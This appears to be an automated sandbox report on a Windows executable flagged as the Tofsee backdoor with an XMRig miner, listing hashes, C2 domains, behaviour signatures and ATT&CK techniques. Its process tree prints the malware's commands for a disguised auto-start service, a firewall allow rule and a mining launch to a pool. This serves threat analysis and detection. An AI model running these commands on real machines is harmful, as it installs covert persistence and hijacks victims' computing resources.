Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-05-2023 20:24

General

  • Target

    0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612.exe

  • Size

    318KB

  • MD5

    b101be318ab44ddbbabf025ef02e9a29

  • SHA1

    0e3d67a5c6f97f6f1d23a9540336b3ded4eaa13f

  • SHA256

    0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612

  • SHA512

    79533d9d92770221a5631f942d48f893ec5cf0d3c8af899465b2cc4b4b92da5c3787cc65425c34d026fcb646b08348dd68ec14a3c9f56cdd914591594f8aa001

  • SSDEEP

    3072:TpXtNfDL3hmn5585BYMpYEvLDWPS5Z2wg3z2zxBUb5EpMYNY0lKRfeJ:RnLL3h45VMpYi2czjlpxPcQJ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612.exe
    "C:\Users\Admin\AppData\Local\Temp\0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fxshbpr\
      2⤵
        PID:1160
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zlxczfes.exe" C:\Windows\SysWOW64\fxshbpr\
        2⤵
          PID:3232
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fxshbpr binPath= "C:\Windows\SysWOW64\fxshbpr\zlxczfes.exe /d\"C:\Users\Admin\AppData\Local\Temp\0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3348
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fxshbpr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2412
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fxshbpr
          2⤵
          • Launches sc.exe
          PID:320
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:224
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 1240
          2⤵
          • Program crash
          PID:3156
      • C:\Windows\SysWOW64\fxshbpr\zlxczfes.exe
        C:\Windows\SysWOW64\fxshbpr\zlxczfes.exe /d"C:\Users\Admin\AppData\Local\Temp\0967dfa48bd1d2d0e282f762e9be80315cc6ea75b6e1b34d73f066c47ab46612.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3856
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1948
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5048
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 512
          2⤵
          • Program crash
          PID:1288
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1628 -ip 1628
        1⤵
          PID:2800
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3856 -ip 3856
          1⤵
            PID:3892

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\zlxczfes.exe
            Filesize

            11.1MB

            MD5

            54089af0c6e4d73c778b753fffc5d906

            SHA1

            317db5183b10ab9007644eb6368b7883aae99f0c

            SHA256

            18471b1de661007e84c53dcaf9ea6f139fc73bc4c479c7075fd7412434ad5163

            SHA512

            220245dc24db9c04a8904d2f4d86b78226182f5011aede16564e3595cc4d882ba10ff82c55ac3c3f7c20c61763130d28b8c81e6cff16f806e96067b35404d0f6

          • C:\Windows\SysWOW64\fxshbpr\zlxczfes.exe
            Filesize

            11.1MB

            MD5

            54089af0c6e4d73c778b753fffc5d906

            SHA1

            317db5183b10ab9007644eb6368b7883aae99f0c

            SHA256

            18471b1de661007e84c53dcaf9ea6f139fc73bc4c479c7075fd7412434ad5163

            SHA512

            220245dc24db9c04a8904d2f4d86b78226182f5011aede16564e3595cc4d882ba10ff82c55ac3c3f7c20c61763130d28b8c81e6cff16f806e96067b35404d0f6

          • memory/1628-139-0x0000000000400000-0x000000000236D000-memory.dmp
            Filesize

            31.4MB

          • memory/1628-134-0x00000000024C0000-0x00000000024D3000-memory.dmp
            Filesize

            76KB

          • memory/1948-167-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-152-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/1948-144-0x00000000003C0000-0x00000000003D5000-memory.dmp
            Filesize

            84KB

          • memory/1948-170-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-184-0x00000000019F0000-0x00000000019F7000-memory.dmp
            Filesize

            28KB

          • memory/1948-171-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-149-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/1948-168-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-153-0x00000000009E0000-0x00000000009E6000-memory.dmp
            Filesize

            24KB

          • memory/1948-156-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-159-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-160-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-161-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-162-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-163-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-165-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-164-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-166-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-140-0x00000000003C0000-0x00000000003D5000-memory.dmp
            Filesize

            84KB

          • memory/1948-169-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-145-0x00000000003C0000-0x00000000003D5000-memory.dmp
            Filesize

            84KB

          • memory/1948-185-0x00000000003C0000-0x00000000003D5000-memory.dmp
            Filesize

            84KB

          • memory/1948-147-0x00000000003C0000-0x00000000003D5000-memory.dmp
            Filesize

            84KB

          • memory/1948-172-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-173-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-174-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-175-0x00000000009F0000-0x0000000000A00000-memory.dmp
            Filesize

            64KB

          • memory/1948-176-0x00000000019E0000-0x00000000019E5000-memory.dmp
            Filesize

            20KB

          • memory/1948-179-0x00000000019E0000-0x00000000019E5000-memory.dmp
            Filesize

            20KB

          • memory/1948-180-0x0000000007180000-0x000000000758B000-memory.dmp
            Filesize

            4.0MB

          • memory/1948-183-0x0000000007180000-0x000000000758B000-memory.dmp
            Filesize

            4.0MB

          • memory/3856-142-0x00000000025D0000-0x00000000025E3000-memory.dmp
            Filesize

            76KB

          • memory/3856-146-0x0000000000400000-0x000000000236D000-memory.dmp
            Filesize

            31.4MB

          • memory/5048-189-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/5048-194-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/5048-195-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/5048-197-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/5048-196-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/5048-199-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/5048-198-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/5048-200-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB